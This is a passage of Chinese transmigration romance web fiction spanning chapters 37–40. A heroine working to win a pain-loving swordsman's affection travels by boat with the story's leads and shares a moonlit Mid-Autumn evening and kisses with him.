也是说,他过去几年,不是在做任务就是在做任务的路上。 出于了解男配的强烈心情,池镜花伸手随便翻了一下悬赏令,借着小吏的烛光看清悬赏令的内容。 ——大多是一些江湖追杀令,夹杂着捉妖任务。 这样一看,这哪里是悬赏令,分明是死亡名单。 池镜花以前只听他嘴里轻飘飘地提过杀人,当时只是无言以对,跟现在看到这些人名的心情截然不同。 奚逢秋,跟原著中还是很不一样的。 温柔和残忍,二者同时在一个人身上呈现。 池镜花轻轻抚着胸口,门外的风卷起淡蓝色裙摆,阴冷的气息游走在她脚踝,贴着她的肌肤,入侵她的毛孔。 她说不上来这是什么感觉,但绝非恐惧。 ……她好像已经不太会怕他了。 见她微微发怔,小吏自以为明白什么,继续继而叹了口气:“姑娘,你也别怪我多管闲事,我劝你最好赶紧离开奚公子,不要牵扯太深,不然指不定哪天怎么死的都不知道。” 池镜花垂下颤抖的双睫,轻声回应,“多谢大人提醒。” 她转身要走,小吏又赶忙叫住她。 “对了,姑娘,平安县是什么地方?奚公子以前问过我,跟姑娘有关吗?” 小吏过去作为江湖上赫赫有名的情报贩子,竟也从未听说过平安县这个地方,这些天,一直被此问题困扰。 清风卷起她的发丝,池镜花微微睁大眼睛。 她没想到奚逢秋居然向小吏打听过她的家乡,想来没能得到答案,所以才会更加好奇她的来历。 好奇,似乎成了他对她的一切情感的源头。 但仅仅是好奇吗? “嗯,那是我的家乡,一个……很远很远的小地方。” 池镜花无意识地点头,后面小吏说了什么她完全听不见,慢吞吞地抬脚走向奚逢秋——她的攻略对象。 在一步步走向他的过程中,池镜花脑海里闪过无数温馨的生活片段,似乎离她很远,但又很近,稍一触碰,原是镜花水月。 她想回家,途径只有一个:让男配对她产生爱意。 但在这攻略任务上还得加个限定条件:不能跟他表白,否则被看穿是谎言后就会身首异处。 第37章 第37章晒太阳、看月亮、数星星。…… 今日尤其特别,从悬赏司出来,前几日一向冷清的街道不知为何热闹许多,摊贩的吆喝声以及孩童的嬉闹声不绝于耳。 堆积在道路两旁的金黄落叶被两名稚童捧起,他们面对面跳起将怀中落叶用力抛向空中,待落叶如大雨般倾洒而下,落在他们身上,他们望着彼此乐前俯后仰,继而追逐打闹。 见到这一幕,池镜花的身心好似得到了治愈。 她不由拉着奚逢秋,兴致勃勃地去渔民的摊位前买了一筐新鲜的鲤鱼,准备喂给白鹤。 有食物吃,白鹤看上去很是高兴地拍打了两下翅膀,伸着雪白干净的脖子亲昵地蹭了蹭她的指尖。 池镜花笑了笑,蹲在树下,忍不住抚摸白鹤的脑袋,耐心等他吃完再回去。 站在她身侧的奚逢秋似乎一直在静静凝视她,待池镜花偏头时,却只能看见他在微笑,什么有用的信息也获取不到。 池镜花不语,等白鹤吃完鲤鱼,跟他一块回了袁府。 远远地, 便看到小鱼和几个家丁在把袁府的棉被和家具往外搬到停在门口的几辆马车上。 衣服鬼刚除,剥皮鬼也死了,袁府应该不存在其他脏东西才对,而且他们看着也不像是要出门的样子。 倒像是搬家。 原因未可知。 金色日光浮在她眼底,池镜花眨着亮如水晶的双眼,她拉住小鱼,不由好奇问道:“发生什么事了吗?” 日头正盛的中午,尽管已是秋季,但偶尔热意依旧不减。 小鱼跟在其他人身后忙活半天,鼻尖挂着细密汗珠,脸颊微红,顺了两口气,开始比划手势。 可惜池镜花一个手势也没看懂。 正在两人大眼瞪小眼相看无言时,一身蓝衣的袁夫人向门口款款而来,面颊挂着温柔的浅笑,虽瘦骨嶙峋的,不过看上去要精神许多。 “是我要离开了。” 池镜花一时愣住,“袁夫人你要去哪儿?” 袁夫人娓娓道来:“我与袁老板昨日已经和离,自然是带走嫁妆,回我自己的家。” 成亲七年,她好不容易才怀上个孩子,结果还被女鬼吓掉了,这些她都可以忍受,最难让她接受的是,袁老板不信她,总认为她才是一切灾祸的根源。 尽管误会已经解除,但她不愿再继续了。 现在想想,这段时间她真是疯了,居然想要靠杀人维系她与袁老板的关系。 幸好,一切都没有发生。 袁夫人继续笑道:“我老家就在隔壁县,若是时间来得及的话,现在出发,说不定晚上就能到家,还能父母兄长一块吃个团圆饭。” 她已很久没有回家,多少有点思乡。 “对了,你们是不是也快走了?” 袁夫人突然发问,令池镜花迅速记起原著剧情:在收服衣服鬼以后,男配便对男女主产生了兴趣,所以主动要求跟男主他们一块去京师。 很显然,就算衣服鬼的剧情对得上,现在的奚逢秋对男女主也并无兴趣,但她的任务除了要攻略男配,还要稳住原著剧情,京城篇章是最后的一个大剧情,其中男配虽然无足轻重,但也出场几次。 所以,她必须保证男配也得跟过去才行。 “是。” 池镜花坚定点头,精准无误地一把抓住奚逢秋冰凉的手腕,微微弯腰行一礼,“那袁夫人,我们就先走了。” 她拉着奚逢秋,快速绕过袁夫人跟小鱼,走至半道,蓦然想起什么,池镜花扭过头,纤长睫羽下的杏眼弯弯。 “袁夫人,一路顺风。” 立在门外明媚阳光下的袁夫人轻轻笑了笑。 “你们也是,一路顺风。” 言罢,妇人转身坐上马车,驱车离开此处。 等池镜花拽着奚逢秋火急火燎地往赵星澜的房间赶去时。 奚逢秋眼睫轻颤,垂眸望向少女纤细的指尖,感受到因彼此肌肤紧密相贴而逐渐生出的热意,正沿着他的手腕侵入骨骼。 应该很快就会消失。 “不要着急。” 正如他说的话,奚逢秋的声音又轻又缓,甚至夹杂着一丝难以察觉的高兴之情,如一根白羽若有似无地刮她的耳蜗。 “我很着急。” 池镜花回过头,眼里全是着急见男主的欲望,骤然间又想到什么,少女的视线绕过被风扬起的乌黑发丝,瞧见他唇角微扬。 “你不觉得赵道长跟纪小姐很有趣吗?” 奚逢秋表情疑惑,“为什么?” 果然如此。 男配现在根本对男女主没有任何兴趣,偏偏对她的来处好奇得很,道士跟女鬼的组合怎么也比她身世有趣吧。 池镜花大为不解。 “没什么。” 她转过头不去看他,不由自主地加快步伐。 接下来,在到达男主所在的客房之前,谁也没再说话,只剩池镜花的暴力拖拽。 日光点点,一路穿过悠长的走廊和落败的花圃,找到赵星澜的房间时,房门开着,他正在收拾行囊,准备离开金德镇。 闻见脚步声,赵星澜抬起头,眼底闪过一丝诧异之情,很快便恢复如初,面上挂起一抹温润如玉的笑。 “池姑娘,奚公子,你们来得正好,赵某正好有话要说,这段时间多谢二位帮忙,如今悬赏令一事已经了结,赵某还要继续赶赴京师,我们就在此地分别吧。” 池镜花松开一直抓着奚逢秋的五指,绕过木桌,走到赵星澜跟前,态度诚恳道:“赵道长,我们一起去京城吧。” 赵星澜微微低头,歉意一笑,“恕赵某愚钝,未能参透池姑娘的意思。” 见状,池镜花灵机一动,随口扯了个看上去最正常的理由。 “我的意思是,长这么大我还没有去过京城,听说京城有很多好玩的,我也想去见识见识,既然赵道长也要去京师,我们又这么熟了,不如结伴而行吧。” 赵星澜神色犹豫,“可赵某去京师是要完成家师交代的任务,并非玩乐。” 关于这段剧情,池镜花没忘。 赵星澜之所以要奔赴京城,是他的师父让他去礼部尚书李大人的家中,替师父办件事。 明年立春时分,恰是李大人的妻子过世二十年,李大人计划迁坟并未她做一场盛大的法事,故事由此拉开序幕。 但她总不能冒昧插手男主的任务,只有这个借口最为妥当。 池镜花仰头挺胸,拍着胸脯信誓旦旦地保证:“没关系,我们不会妨碍你的,当然,你要是觉得我们能够帮得上什么忙就尽管找我们。” 当然,她是帮不上什么大忙,唯一的希望就是男配。 想到这,池镜花下意识望向奚逢秋。 他站在稍远处,视线似乎一直停留在她身上,即便只能看到个侧颜,目光也未曾移开半分,只是从进门开始就没怎么说话,叫人辨不出他的心情好坏。 直到池镜花的视线落在他身上,少年的表情这才有了起伏,他睫羽轻颤一下,莫名扬起一个温和的笑来。 “嗯,池镜花说得对,我也觉得我们还是结伴而行比较好。” 二人盛情难却,赵星澜没辙,再说了,他也不是个会拒绝别人的主儿,也就同意了。 见状,池镜花悄悄松口气,同时悄悄望向奚逢秋。 少年逆光而立,半边身子隐于黑暗,面颊不见一丝血色,唯有唇瓣附着一点殷红,方能感受到一丝活着的气息。 池镜花想起她用“时间回溯”窥见的男配记忆,清楚记得夫子唤他“世子”。 既是世子,那当属王爷血脉。 所以,就算不在京城长大,小时候也应该去过京城。 那他对京城的回忆是怎样的? 也会跟那段记忆一样吗? 对于池镜花来说,用“时间回溯”看见的那段画面绝非美好。 甚至可以说是心疼。 嗯,她还挺心疼男配的。 正当她想得出神,赵星澜忽而轻咳一声,拉回她的神识。 “池姑娘,奚公子,若是方便的话,我们今天下午就出发吧。” 池镜花明白这是赵星澜在点她催促她,只愣愣点头。 “哦……哦,那我们现在就回去收拾东西。” 说是收拾,池镜花身穿过来根本没几件行李,连换洗的衣裳就只有两套。 看来得再置办两套才行。 池镜花盯着床上的包袱发愣,就在此时,一道漆黑的阴影从她身后笼罩而下,耳边响起奚逢秋略为不解的声音。 “京师……” 池镜花转过身,蓦然靠近的少年已将他逼至无路可退,香气一股脑涌入鼻腔,差点叫她失神。 少年漂亮的眉宇间飘满困惑,“为何要去京师?” “不是说了嘛,我没去过,所以想去看看。” 池镜花深吸一口气,理所当然地答道:“你呢?去过京城吗?” 奚逢秋轻轻应声,垂下眼眸,似是想起什么,神色依旧不变。 “很小的时候去过。” 池镜花趁机打开了话匣子,“那等到了京城,你能带我四处逛逛吗?” 不知为何,他的眼底漫上一层浅笑,清冽的嗓音去一道动听的音符穿梭在她耳间。 “京师很无趣的。” 既如此,池镜花索性转变攻势,继而仰头一眨不眨地望着他,神情坚定地说:“那我们就坐在家中晒太阳、看月亮、数星星。” ——很浪漫的。 可惜男配不开窍,她也不敢明说。 所以,这些话就 好似对牛弹琴。 闻言,奚逢秋不禁轻笑一声,“虽然我没有做过这些事,不过听上去好像挺有意思的。” 有意思? 池镜花微微张口眨了下眼睛,下一刻,双手交叠,踮起脚尖,毫不犹豫地狠狠按了下他的左肩胛。 不知他的伤口好没好,池镜花眼疾手快,按完拎着包袱就跑,只有少女清澈的声音在他耳边不停回荡。 “奚逢秋,这样是不是也很有意思啊!” 疼死他这个变态算了。 反正他又不懂爱。 第38章 第38章想要伸手摸一下。 太阳刚下山,天还没黑,温柔的暮色笼罩万物。 他们搭乘马车到达码头时,白日热闹的码头冷冷清清,只有三两搜货船零零散散地停靠着。 但他们要去京师,必得先渡江。 三人问了一圈,本打算乘坐官船离开金德镇,结果官船大清早就开走了,听人说,现在每天官船就一趟,要坐的话得明天再过来。 赵星澜决定跟这里唯一的商队商量商量,看能不能一同渡江。 站在江边码头的池镜花微微低头叹气。 江风徐徐,少女耳侧的乌发被风吹起又垂下,弯曲的贴着面颊。 不知想到什么,池镜花稍微偏头,看见白鹤正站在码头边上,正聚精会神地盯着江里游动的鱼,时不时地探翅膀去捞鱼。 无可厚非,白鹤本就喜水,见到江湖尤为欢乐。 池镜花不由得笑了笑,忽然顿感一道炽热目光,循着源头望去,发现奚逢秋正一错不错地盯着她,也不说话,面上盈着淡淡笑意。 他似乎有事没事就喜欢观察她。 不过池镜花完全不能理解奚逢秋的意思。 她轻轻抿唇移开目光,看见赵星澜跟商队的领头人说了些,而后抱拳行礼,转身笑着走到他们跟前。 “池姑娘,奚公子,谈妥了,不过他们因为是货船,所以要价有点贵,是官船的好几倍。” 说着,赵星澜取出一锭银子,露出略带歉意的笑。 “这里是完成袁夫人悬赏令所得的一半奖金,实在是不好意思,差点忘记交给二位。” 赵星澜望着二人,举着手臂蓦然停在半空,一时不知该交与谁,只能尴尬地笑。 “没关系,给池镜花吧。” 少年清润的声音如一条细蛇钻入她的耳蜗。 池镜花尽管十分诧异,但还是接下赵星澜的银子,道了声“多谢”。 在经过他身旁时,池镜花特意顿珠脚步,几斤贴着他的耳尖,深吸一口气,以只有两个人才能听见的声音,在他耳边轻轻吐纳气息。 “奚逢秋,这些钱我们一起花吧。” 说罢,不等他做出反应,池镜花跟在男主身后迅速向商队交了坐船的钱,转过身来,走到最大的一搜货船跟前,她看见奚逢秋已站在甲板上,朝她伸出了右手。 他的五指骨节分明,埋在皮下的紫青血管清晰可见,若是调动全声感官,仿佛能够听见滚烫血液汩汩流动的声音,却看不见映在皮肤的颜色。 见她神色微愣,奚逢秋以为是他多事,微微歪了歪脑袋,双眸漫上一层疑色。 “不需要帮忙吗?” 池镜花回过神不停点头,“不是,需要需要。” 话音落地,她立马抓住他冰凉的指尖,借助他的力气,一下子扑进他怀里,轻松登上货船,稳稳落地。 一侧面颊紧贴着他的心口,不需要极强的专注力,池镜花已能听见他微弱的心跳声,掺杂着簌簌风声,逐渐盖过所有。 池镜花稍稍抬头,四目相对之时,清风拂过睫羽,她忍不住眨了下眼睛,在对方的蓝色瞳孔中捕捉到自己一举一动,不禁张了张口。 “谢谢你。” 听到“谢”字,奚逢秋蓦然弯起双眸,少女扬起的发丝莫名缠住他的。 “不怕我突然松手吗?” 又来! 池镜花咬了咬牙,假装恶狠狠地回怼:“那我就拼命全力把你一块拖下去。” 反正是不可能跟他分开的! 池镜花分明已尽力摆出一副威胁凶狠表情,可奚逢秋反而笑得更开心了。 真是有病! 眼见男主也上了船,货船即将启航,池镜花急忙推开他,追着赵星澜的身影而去。 “我还有点事情,等下找你。” 没有给他反驳的机会,少女身影已经消失在视线里。 他垂下眼眸,长睫轻颤,心中已被某种思绪填满——池镜花会不会又在骗他? 货船已经启航,起初并不平稳,直到池镜花跟着赵星澜一块进了狭小昏暗的舱室,才逐渐稳定。 她扫了一眼商人们空出的船舱,只有两张破床以及一个桌子和四个凳子,桌上燃着一根香烛,漂出浅灰色的烟气。 赵星澜疑惑地望着她,“池姑娘,有事吗?” 池镜花不好意思地指了指他腰间的玉佩。 “我找纪小姐。” 赵星澜笑着感叹“原来如此”,便留下玉佩,往甲板上走,给她们留出独处的空间。 幸好夕阳残日,对女鬼没有太大伤害,池镜花拿起玉佩低声唤了句“纪小姐”,下一刻,女主便出现在她跟前。 纪望慕与初次见面无异,美得惊心动魄的,让人招架不住。 就是身上衣服破破烂烂的。 池镜花二话不说将包袱放在床上,取出一套新衣裳。 因为看过原著喜欢女主,所以池镜花记得女主偏好艳丽的红,因此,她给女主准备的也是一套红衣,不过样式跟纪望慕身上的有细微区别,一模一样的衣服实在难找,又没时间定制。 纪望慕眼底闪过惊喜之色,接过衣裳在身上样了样,越是合适,就越流露出失望的神情。 “很好看,不过这样我是穿不了的。” 衣服是阳间之物,女鬼又是极阴之体,就算是平时也只能吃香烛。 但也并非毫无办法。 “等我一下。” 池镜花扔下一句话,着急忙慌地商队里其他人借了个烧火盆,又怕衣服就算烧了也到不了女主手上,在点火之前特地双手合十,虔诚地祈祷。 “是烧给纪望慕纪小姐的。” 话尽,池镜花才将衣服烧成灰烬。 待到炙热火光熄灭,纪望慕伸手从装满灰烬的火盆里掏出一件新衣服,眨个眼的功夫,便套上了。 池镜花还在惊叹灰烬转化为衣服的奇妙之处,纪望慕已穿着新衣裳左右欣赏,看来看去都十分满意。 “嗯,很合适。” 池镜花坐在桌前,双手撑着下颌,温柔的火光映在她的面颊,她望着女主露出老母亲般的满足笑容。 “你喜欢就好。” 不得不说,给女主换装,颇有成就感。 独自欣赏了会儿,纪望慕忽然坐到对面,学着她的模样也撑起脸颊,两只眼睛直直地盯着她。 “不过你为什么突然想到给我烧衣服?” 在纪望慕的印象里,她与池镜花接触并不多,但奇怪的是,这位姑娘对她很是照顾,令她猜不透原因。 “因为纪小姐你衣服破了呀。” 池镜花眨了两下眼睛,理所当然地说道,随后又想起什么,慢条斯理地补充着。 “而且今日恰是中秋节,在我老家,小时候,每逢中秋节的时候,奶奶就会给我买新衣裳,所以不算突然。” 池镜花记起今天是中秋,完全是因为袁夫人的一句“团圆饭”,不过关于小时候的事情倒是没说谎。 在她初一以前,每年中秋节,除了吃月饼,的确能收到爷爷奶奶的一套新衣服。 闻言,纪望慕掩唇“噗嗤”一声笑了出来,摆在二人中间的烛火颤颤巍巍。 “池姑娘,你人真好。” 这一声夸奖莫名叫池镜花想起奚逢秋来,虽然他总爱这样夸赞她,也是真心话,但每次给她的感觉都不太妙。 纪望慕不知池镜花正在开小差想着其他人,她眼波流转,俏丽的眉眼间藏不住的笑意。 “所以你要是哪天死了,可一定要来找我啊,我教你如何做鬼!” 回过神来的池镜花每每听见女主说这话 ,都只能尴尬挠脸,接着开始转移话题:“那纪小姐,没什么事的话,我先出去了。” 池镜花找个随性的理由,一溜烟地逃出船舱,来到甲板上,把赵星澜叫了进去。 苍山如海,残阳如血。 在悄然升起的黑暗平线中,天空中的最后一抹余晖即将被黑暗吞噬,月光被厚厚的云层遮挡。 船只日趋平稳,驶离岸边,来到江心,只能看见江边点亮的灯笼呈以斑驳的光点,江雾已不知不觉从水底,逐步漫上脚底,浸上衣角。 池镜花站在船舱门口巡视一周,最终找到那抹熟悉的背影。 少年孤寂地站在甲板的尽头,衣袂在猎猎冷风中翻飞,乌黑的发尾在风中轻轻摇曳,手指自然垂落,细看之下却有几根银白的丝线生出。 池镜花走到他身边时,踩在木板上发出细微沉闷的响声。 奚逢秋微微偏头,缠于指尖用来打发时间的白丝立刻消失,唇边随之漾起一个温温柔柔的笑。 “看来这次没有骗人呢。” 知晓他话中有话,池镜花跳过该话题,开启另一个。 少女仰着头,乌发在风中肆意飞扬,波光粼粼的江面映在晶亮的眼底,中心站着眼前人。 “你知道今天是中秋节吗?” 奚逢秋轻轻点头,看上去是会受老师喜爱的乖乖学生。 “嗯,知道。” 池镜花看了下船只目前所在的位置,却是什么也看不清,只有茫茫江河融于夜色,四周只剩下流水的声音和呜咽的风声。 “这船要明天才能靠岸。” 奚逢秋应了一声,“是这样的。” 换句话说,他们要在船上过节。 池镜花是半道才想起今天是中秋,所以什么也没准备,连最简单的月饼也没有。 她索性拉过奚逢秋的手腕,“时间还早,我们来聊聊天吧。” 船舱里坐着男女主,打扰他们不好,而且,她只是想跟他独处。 所以,她强行将他按在甲板上坐下,自己则不客气地紧挨着他坐。 奚逢秋没有反抗动作,任由她随意摆弄。 池镜花抬头望着缓慢移动的云层。 “等一下,等一下月亮就要出来了。” 在她说完后不到半分钟,被云层藏住的月亮终于卸下羞涩的伪装,露出真容来。 月华倾泻如注,照亮四周的凄冷景色,潺潺江水复活在二人衣间,映出点点流光,缓缓流淌着。 池镜花惊喜转头,“看,月亮出来了。” 视线中猝然出现奚逢秋受过伤的左脸颊。 池镜花神情一顿,发现不对劲之处。 这种异样的感觉以极快的速度充盈满内心,池镜花呼吸一滞,慢慢地、一步步地向他靠近,或许还想要伸手去摸一下。 第39章 第39章我想亲你了。 天色愈晚,江雾渐浓,灰蒙蒙的雾气中仿佛藏匿这影影绰绰张牙舞爪的黑影,被冷风一吹,如同幻觉飘散四溢。 随着池镜花凝视他的时间在增加,自己的心跳声逐渐盖过耳畔淙淙水声。 她惊讶发现,奚逢秋脸颊的伤痕,似乎消失了。 虽然她知道奚逢秋的伤口这些天一直慢慢好转,但在今天白天之前还看到一道淡淡的伤疤。 池镜花很是在意他脸颊的伤势,是因为她不想由于自己的缘故,在男配漂亮的脸上留下一道难看的伤疤。 太不道德了! 而且,池镜花很喜欢他的脸,也不想让他留疤。 不过也有可能是月光朦胧,她看漏了。 出于求知的欲望,池镜花微微睁大双眼,右掌撑着甲板,支着上半身向他缓缓靠去。 直到咫尺的距离,池镜花停在他面前,一眨不眨盯着他的脸颊,探出左手,以食指指腹微微轻触了下他的左脸。 肌肤微凉,仿佛有一股凉气从毛孔中渗出,接踵而至裹上她的指尖。 却没有摸到类似于凸起的伤疤之类的。 池镜花想再确认一遍,却在看到奚逢秋给出的反应时,指尖蓦地一顿。 货船还算平稳地行驶在雾气缭绕的江面,偶有江鱼跃出水面透气,重重地跳进水底,“噗通”一声,溅起的水花越过栏杆,落在池镜花的右手边。 雾气遇冷凝成细小的水珠,少年眼眸低垂,沾了些许水气的睫羽抑制不住地抖动了下,氤氲在雾下的皮肤呈以透明的白。 意识到行为恐有不妥,池镜花正要道歉抽回手指,同时忽然想起一件事。 虽然奚逢秋反应不小,可没有拒绝和反抗的举动,换句话说,他即使没说,但也还是喜欢的。 否则不可能由着她乱来。 池镜花被自己说服了。 念及此,她大着胆子又轻轻戳了下少年的脸颊。 不出所料地,她又看见奚逢秋长睫颤动,甚至连呼吸都被打乱了。 但依旧没有阻止她。 池镜花更加认定他就是喜欢这样。 思量片刻,少女忽然整个人向他靠近,挨他而坐,挺直腰背,下一刻,双手皆抚上他的面颊,手腕一发力,压在他的双颊捧起,迫使他抬头看着自己。 池镜花垂下脑袋,乌发自耳侧散在奚逢秋的四周和他的脸颊,几乎挡住所有,唯有几缕迷蒙月光透进,照亮彼此双眸。 花香纷沓而至,迅速盈满池镜花的鼻腔,回过神来,少年绝绝五官占满了她的视野,她下意识地只想近点、近点、再近点。 直到鼻尖相触,再近半分就要亲上了,池镜花猛然停下。 少年的五感被放大无数倍,清晰感知到脸颊发丝传来的痒意,少女指尖的温暖,还有她身上的甜腻的香气,所有种种犹如巨石,堵着他的生机,仿佛他的每一次心跳和呼吸皆为此而生。 附着在长睫的细密水珠不停颤动,最终顺着少年的面颊滴进池镜花的掌心,化为黏湿的水汽。 时间仿若停滞许久,垂落的乌发隔绝一切,以至于他们只能看得见彼此,周围安静到听见对方的呼吸和心跳,以及血液流动的声音。 过了许久许久,奚逢秋才微微张口,声音极为轻缓,语气夹杂着困惑之意。 “不看月亮了吗?” 池镜花两眼弯弯,实话实话:“可我在看你啊。” 她只有一双眼睛,看了男配就不能看月亮。 但她选择了前者。 奚逢秋没有说话,反而是静静垂眸,不知在想些什么。 【男配好感度+10,当前好感度:35/100。】 好感度增加了? 怎么这么顺利! 池镜花本能眨眼,后知后觉意识到他们现在的情况。 她双手正捧住奚逢秋的脸颊,以女上男下的姿势压在他身上,奚逢秋只能靠腰部发力才能勉强维持不倒,还得完全承着自己几乎严丝合缝贴着他的上半身。 他们身下一蓝一白的衣裳完全交叠在一起,在月下晕出淡雅的浅白。 要多暧昧多有暧昧。 池镜花脸颊一烫,咬住唇瓣,额头轻抵着他的,垂下睫羽,以此掩饰眼底流露出的羞涩之情。 害羞正常,只是她不理解。 为什么奚逢秋分明总在操控别人的生死,却偏偏喜欢这种被压制扑倒的行为。 这喜好……真的很变态啊! 池镜花偷偷做了几个深呼吸,静下心后只觉额头漫上一股凉意。 她抬眸发现奚逢秋的呼吸有些急促,微微垂着的长睫水气更甚,半遮半掩的眼瞳中弥漫一层浅蓝雾气。 他的情绪波动很是明显,但池镜花还不打算结束,她想要再加点好感度。 四周皆是杂音,可他似乎只能听见少女低声祈求的声音。 “奚逢秋,我替你上药吧,这次绝不食言,我会一直待在这,直到你说不再需要我了,好不好?” 奚逢秋怔怔凝视她片刻,尽管知道她还是可能会食言,但想到只有被她触碰才会生出疼痛的滋味,终是应下了。 因为,他享受疼痛。 池镜花高高兴兴地自己动手替他解开衣裳,但也仅是一点点,只需露出肩上的伤口即可。 朦胧弥漫的湿雾中,似乎什么也看不真切,只有簌簌风声不绝耳语。 池镜花坐在他身前,低头仔细打量着他肩胛的伤口,被黑妖撕扯的血肉几乎已重新生出,只是尚未完全愈合。 她熟练地剜出一点,将金疮药均匀地涂抹在伤口处。 少女神情尤为专注,未曾注意到,自己的发丝已被风发卷在他的颈侧,紧贴着他的。 随着时间的推移,池镜花清晰地感受到少年伤口肌肤逐渐发热发烫,线条流畅的漂亮锁骨如蝶翼般微微颤抖,耳边落下他略显急促而粗重的呼吸。 她清楚地知道,这是奚逢秋因感受到疼痛而情绪高涨。 但池镜花始终不明白,为什么只有她的触碰才会令奚逢秋感到疼痛。 她的这双手也没什么特别之处呀。 浓雾已逐步浸透二人衣裳,奚逢秋的灼灼视线一一扫过少女饱满的额头、玲珑的鼻尖、红润的唇瓣,最后又归于白皙透亮的脸颊。 即便他想要忽视身体的异样,只要她碰他,疼痛便如鬼般缠着他,而且还跟之前都不太一样。 “为什么?” 他的声音又轻又缓,宛若被堵住的泉水,夹带着沉闷之意。 池镜花不解地扭过头,“嗯?” 厚重的雾挡去大部分倾洒的月光,只有零星的月华打落在他的眼睫,晶莹水珠反射出明亮的细光,又回到他的脸颊,照亮他的白而透的面颊。 他轻轻歪了歪脑袋,鲜艳的耳铛在灰蒙蒙的雾中划出一道血红的细线。 “为什么感觉比之前更疼了。” 更疼了? 她只是跟之前一样替他上药,甚至动作还要更轻,怎么可能比之前痛。 池镜花疑惑眨眼,眸底闪烁淡淡星光,她顺着他的话往下问:“我第一次碰你伤口的时候,没有现在这么痛吗?” 奚逢秋轻“嗯”了一声,眼眸低垂,目光盯着她的指尖细细打量。 “没有。” 不能吧! 池镜花始终不太相信还有这种事,但奚逢秋压根没必要骗他,况且,依照他的性格也不会这么做。 她又抬头看了他几眼,忽然想起想到刚才增加10点好感度的事情,脑袋里冒出个念头——难道好感度的增加疼痛的等级也会相应提高? 虽然离谱,但看上去只有这种可能性了。 换句话说,在男配那里,他的疼痛和好感度是绑定的,好感度越高就越疼。 但是现在的好感度只有35,等到100的时候,他得疼成什么样啊。 啊啊啊啊这是什么奇奇怪怪的体质啊! 似乎与他相处的时间越长,池镜花便越能发现他身上一些不同寻常的小秘密。 但是怎么说呢,不知为何,她反而还挺高兴的。 既然她是专门来攻略他跟他谈恋爱的,那么了解彼此就是基本,池镜花甚至觉得自己了解得还不够细致,关于男配的一切,她都很感兴趣。 想到这,池镜花不由望着他笑,“这样不好吗?你不是很喜欢疼痛的滋味吗?” “也许吧。” 奚逢秋轻笑一声,倏忽记起很久之前的一些事情,一些关于疼痛的回忆,是从什么时候失去痛觉的,似乎自己记不清了,但绝非一开始就是如此。 见他沉默不语,池镜花慢慢放下手臂。 伤口的疼痛消失,奚逢秋立即意识回笼,神情有些迷茫,泠泠嗓音掺杂着流水和微风声音,纷纷挤进少女的耳蜗。 “为何不继续了?” 不碰他是因为光让他感受疼痛是没法继续增加好感度的,要想快速增加好感度,还得跟之前一样。 所以,池镜花决定故技重施。 不过这一次,没有奚逢秋故意引诱,是她自己想要亲近他。 不知不觉已是深夜,雾气凝结在衣服上化为冰凉的水,池镜花一袭蓝青色的衣裳遇水逐渐变为深蓝,被她压在身下的白衣模糊地映出淡蓝。 船只摇摇晃晃地向着岸边行驶,空气的香气更浓,但又并非皆是莲花的香味。 二人一言不发面对面地坐在甲板上,四周空无一人,只有装货的货仓以及船舱。 暴露在深夜的冷雾中,池镜花的头发上也沾到不少潮湿的雾气,有些湿漉漉地搭在肩上,双眼却亮晶晶的。 她鼓起勇气,慢慢向他靠近,一错不错地盯着他的双瞳,见他眼底也只映出自己的神情,下意识吸了吸鼻子,嗅着她身上的香气,抑制住抱他的冲动,不大好意思地轻轻抿唇。 “因为我想亲你了,可以吗?” 第40章 第40章平安喜乐。 圆月高悬,月华倾泻如注,如一道冰冷的剑刃,穿过云雾缭绕,直直射在寒气逼人的江面,薄纱般的笼罩着货船。 不知是不是过于紧张和专注,池镜花已经只能听见货船的轰鸣夹杂在喧嚣的风声中。 池镜花越是表现出耐心,心中就愈忐忑不安。 毕竟是亲密接触,她总不能霸王硬上弓,恐有生命危险啊! 时间一分一秒地过去,不知多久之后,奚逢秋平静的表情终于有了变化。 “为何要亲我?” 映在他眼底的朦胧月华化为疑惑的碎光,少年面颊却带着浅浅笑意,温柔地望着她。 没等她想好说辞,奚逢秋继而又轻轻歪了歪头,耳铛在雾中摇晃了下。 “甚至还不止一次,为什么?可以告诉我原因吗?” 池镜花弱小的心脏仿佛也随着他的动作颤抖了一下。 她大脑一刻不停地运转,终于,搜肠刮肚出了个回复。 少女微微仰脸,赤|裸地直视他的双眼,穿透层层雾气的月光照在她的瞳孔中仿佛盛大的星河。 “因为亲吻代表着两个人的关系很好,我想跟你处好关系。” 或者,更为准确地说,她想跟他“处对象”! 但池镜花敢打包票,奚逢秋绝对绝对听不懂她的弦外之音,这也是她如此坦诚的原因。 她已在心中做好假设,或许男配会轻笑而过,道声“原来如此”之类的,继而结束该话题。 但是他似乎没有。 闻言,奚逢秋只轻轻垂眸,低垂的长睫挡住眼底情绪,他长睫抑制不住抖动几下,仿佛有颗极小的水珠从他眼睫滴落。 奚逢秋觉得池镜花相当奇怪。 他不明白为何池镜花会做一些奇怪的事情来讨好他亲近他。 还是说,她真的只想跟他处好关系? 可是,从没有人想着跟他打好关系成为朋友。 这样一看,她果然十分奇怪。 见他不语,池镜花起初以为是她说错话了,可又感受不到他释放出的杀意或恶意,奚逢秋似乎在思考,但没有拒绝她。 ……那就是可以亲的意思吧? 池镜花双手交叠抚摸胸口,感受胸腔那颗不规律的心跳,不停默念让自己冷静下来。 半分钟后,少女将双手放在他的肩上,轻轻按住,将脸颊凑过去,闭上眼睛,唇瓣蜻蜓点水般的掠过他的。 事毕,池镜花睁开双眼,没有力气似的跪坐在地上,双手从前方搂住他的脖颈,借住他的的力气额间轻抵着他的心口,不知怎地,忽然有点不敢去看他。 四周一切杂音都被少女剧烈的心跳和急促的呼吸所掩盖,顺着奚逢秋耳间抵达四肢百骸,不知不觉将他同化。 但少女的柔软停留的时间过短,留在唇上的温热也很快退散,比前两次都要快。 似乎不该是这样。 奚逢秋垂下眼眸,颇为困惑地望着蜷缩在他怀里的少女。 “结束了吗?” “没有。” 池镜花语气坚 定,双睫不停颤动,不自觉地抿唇,试图抹去唇瓣的那抹凉意。 “我只是……需要缓一下。” 穿书之前,池镜花长这么大,连男孩子的手都没牵过,遇到奚逢秋以后,与他牵手、拥抱、轻吻,做尽了她认为的最勇敢的事情。 就算他们亲过不止一次,可池镜花并没有那么熟练。 连续做了几次深呼吸,池镜花终于冷静不少,双手按住他的双颊,抬起头,没有直接亲上去,只盯着他。 奚逢秋似是明白她的意思,眉眼间划开个温温柔柔的笑。 “要闭上眼睛吗?” 池镜花点头的同时不停催促:“嗯,你快点。” 她怕耽搁的时间越长,自己会控制不住地想跑。 